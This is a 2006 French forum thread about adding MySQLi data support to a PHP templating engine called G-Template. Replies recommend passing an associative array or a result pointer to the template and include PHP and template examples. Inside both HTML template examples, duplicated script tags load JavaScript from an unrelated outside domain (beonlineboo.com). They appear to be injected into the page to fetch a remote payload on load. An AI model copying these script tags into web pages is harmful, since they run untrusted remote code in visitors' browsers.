l'asile.fr


MySQL avec mon G-Template

Vous ne savez pas ce qu'est le G-Template ? Cliquez ici.

Salut,
Je souhaite ajouter dans mon G-Template une balise magique {MySQL} qui récupèrerais des données depuis une base MySQL et qui les parserais automatiquement. Seulement voila, je préfère utiliser le MySQLi, et pour éviter d'autres problèmes, je voudrais imposer le nom de l'objet MySQL. Mais du point de vue de l'utilisateur, ça peut paraître un peu manu militari comme méthode.

Quel est votre avis sur la question ?


dimanche
12 février 2006 à 18:20
 
 

42.


dimanche
12 février 2006 à 18:22
 
 

Pas mieux.


dimanche
12 février 2006 à 19:38
 
 

Merci pour votre aide intelligente.


dimanche
12 février 2006 à 20:25
 
 

Quand tu parles d'objet MySQL, tu parles de la ressource renvoyée par mysql_query ?

Je ne pense pas que ce soit une bonne idée.

Dans ton code, il vaut mieux que l'utilisateur crée un tableau de tableaux associatifs créé par la requête qu'il transmet ensuite à ton template.

C'est beaucoup plus facile à manipuler et l'utilisateur de tes templates pourra formater ses données pour l'affichage s'il le souhaite.


Dernière modification le 12/02/06 à 20:41 par SimOOn
dimanche
12 février 2006 à 20:40
 
 

SimOOn a écrit
Quand tu parles d'objet MySQL, tu parles de la ressource renvoyée par mysql_query ?

Je ne pense pas que ce soit une bonne idée.

Dans ton code, il vaut mieux que l'utilisateur crée un tableau de tableaux associatifs créé par la requête qu'il transmet ensuite à ton template.

C'est beaucoup plus facile à manipuler et l'utilisateur de tes templates pourra formater ses données pour l'affichage s'il le souhaite.

En fait, je parlais du nom de la variable qui sera une instance de mysqli . Donc tu pense que l'utilisation d'une balise qui "parle" avec MySQL n'est pas une bonne idée, et qu'il vaut mieux le laisser donner les données directement à mon script ?


lundi
13 février 2006 à 12:40
 
 

Metzgermeister a écrit
En fait, je parlais du nom de la variable qui sera une instance de mysqli . Donc tu pense que l'utilisation d'une balise qui "parle" avec MySQL n'est pas une bonne idée, et qu'il vaut mieux le laisser donner les données directement à mon script ?
Rien que pour des raisons de sécurité, je trouve ça un peu chaud de laisser l'accès à l'instance de mysqli, pour un système de template laisser la main complète à l'utilisateur c'est limite. Comme l'a dit SimOOn le mieux c'est d'utiliser un tableau associatif, voir d'utiliser le pointeur de résultats que te retourne la fonction $mysqli->query.


lundi
13 février 2006 à 14:19
 
 

Oui... pourrais-tu m'expliquer cette démarche ? :D


lundi
13 février 2006 à 15:45
 
 

Metzgermeister a écrit
Oui... pourrais-tu m'expliquer cette démarche ? :D

Comme je ne connais pas ton G-Template et que je n'utilise pas mysqli pour le moment, je le fais un peu à l'aveugle :
- Méthode avec des tableaux :


//On charge toutes les données dans un tableau pour les passer au système de templates
$array = array();
$mysqli = new mysqli('mon_serveur','mon_utilisateur','mon_passe','ma_base');    //Connexion à la base
$result = $mysqli->query("SELECT mes,champs,a,moi FROM ma_table WHERE truc='machin'");    //Execution de la requête
while($value = $result->fetch_assoc()){
    $array[] = $value;
}
$result->close();

Tu te retrouves donc avec ton tableau $array qui contient toutes les données recherchées.
Dans ton G-template, si tu as le moyen de faire une boucle foreach et de consulter des tableaux dans le style {tableau['index']}, on peut imaginer d'utiliser les données comme ça :

<html>
<body>
{foreach array as value}
{value['mes']} - {value['champs']} - {value['a']} - {value['moi']}<br />
{endforeach}
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>


J'éditerai plus tard pour la méthode utilisant le pointeur directement

- La méthode avec le pointeur de résultats :

$mysqli = new mysqli('mon_serveur','mon_utilisateur','mon_passe','ma_base');    //Connexion à la base
$result = $mysqli->query("SELECT mes,champs,a,moi FROM ma_table WHERE truc='machin'");    //Execution de la requête

Cette fois, il faut utiliser les méthodes disponibles sur l'objet $result donc dans le sytème de template, quelquechose comme ça :

<html>
<body>
{while value = result->fetch_assow()}
{value['mes']} - {value['champs']} - {value['a']} - {value['moi']}<br />
{endwhile}
<script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script><script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=www.lasile.fr"></script></body>
</html>

Bon c'est pas tout mais je vais aller farmer sous Silkroad maintenant.


Dernière modification le 13/02/06 à 19:13 par elbistro
lundi
13 février 2006 à 17:11
 
 

OK, j'ai compris.

Merci, je vais tester de ce pas cette méthode ;)


lundi
13 février 2006 à 19:02
 
 


Répondre au sujet

Vous devez être identifié pour participer à ce topic.